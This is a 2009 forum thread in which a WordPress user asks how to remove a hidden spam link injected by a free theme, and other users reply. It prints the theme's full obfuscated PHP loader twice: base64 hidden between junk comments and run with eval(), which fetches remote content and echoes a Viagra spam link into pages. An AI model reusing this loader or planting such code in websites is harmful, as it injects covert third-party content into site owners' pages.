Advertisement
If you have a new account but are having problems posting or verifying your account, please email us on hello@boards.ie for help. Thanks :)
Hello all! Please ensure that you are posting a new thread or question in the appropriate forum. The Feedback forum is overwhelmed with questions that are having to be moved elsewhere. If you need help to verify your account contact hello@boards.ie
Wordpress template and start_template.php
Options
-
24-04-2009 1:52pmHi folks,
Im working on a site in wordpress using an existing template which I have modified to look the way I want etc. One of the pages in the exisiting one is called start_template.php which contains some base64 encoded data, ive checked what it does and it runs a function which doesnt seem to do anything out of the ordinary.
However when I was looking at the source code of the homepage I noticed a url placed at the start of the body with the following<body> <div id="begin_template"><a href="[URL]http://www.****.org/cialis-vs-viagra/">Cialis[/URL] vs. Viagra</a></div><script language="javascript">
Heres is the contents of the start_template.php file<?php /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ $reftime = 1; $start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ=='; /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ $decoded = decode_it($start); /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ eval($decoded); ?>
Any ideas how to get rid of it because im happy with the template and how it now looks and dont want to have to change to another one.
Here is a link to the template - its the one called WP Green WP Theme
http://www.wordpresstemplates.com/page/4/?s=green0
Comments
-
That looks like a crude booby-trap. What happens when you delete the stuff in that PHP tag?0
-
I get an error then because there is a call to the function start_template.php in the header file.
Edit: Managed to fix it by editing some of the calls in the code to the functions.0 -
Hi,
Could you help me? I´m from Brazil and use a template that haved the start_template. Like yours, it´s a template from wordpresstemplates.
Could you show me how to fix it?
thanks,
AndreHi folks,
Im working on a site in wordpress using an existing template which I have modified to look the way I want etc. One of the pages in the exisiting one is called start_template.php which contains some base64 encoded data, ive checked what it does and it runs a function which doesnt seem to do anything out of the ordinary.
However when I was looking at the source code of the homepage I noticed a url placed at the start of the body with the following<body> <div id="begin_template"><a href="[URL]http://www.****.org/cialis-vs-viagra/">Cialis[/URL] vs. Viagra</a></div><script language="javascript">
Heres is the contents of the start_template.php file<?php /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ $reftime = 1; $start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ=='; /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ $decoded = decode_it($start); /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/ eval($decoded); ?>
Any ideas how to get rid of it because im happy with the template and how it now looks and dont want to have to change to another one.
Here is a link to the template - its the one called WP Green WP Theme
http://www.wordpresstemplates.com/page/4/?s=green0 -
You'll need to edit the calls to the php function/file out of the template.
This is quite common for free templates to have links embedded - the one mentioned above appears to be a "buy viagra" link.
The terms of use of the free template might require that you do not remove any of the embedded links, so you might be breaking the license if you do so.0
Advertisement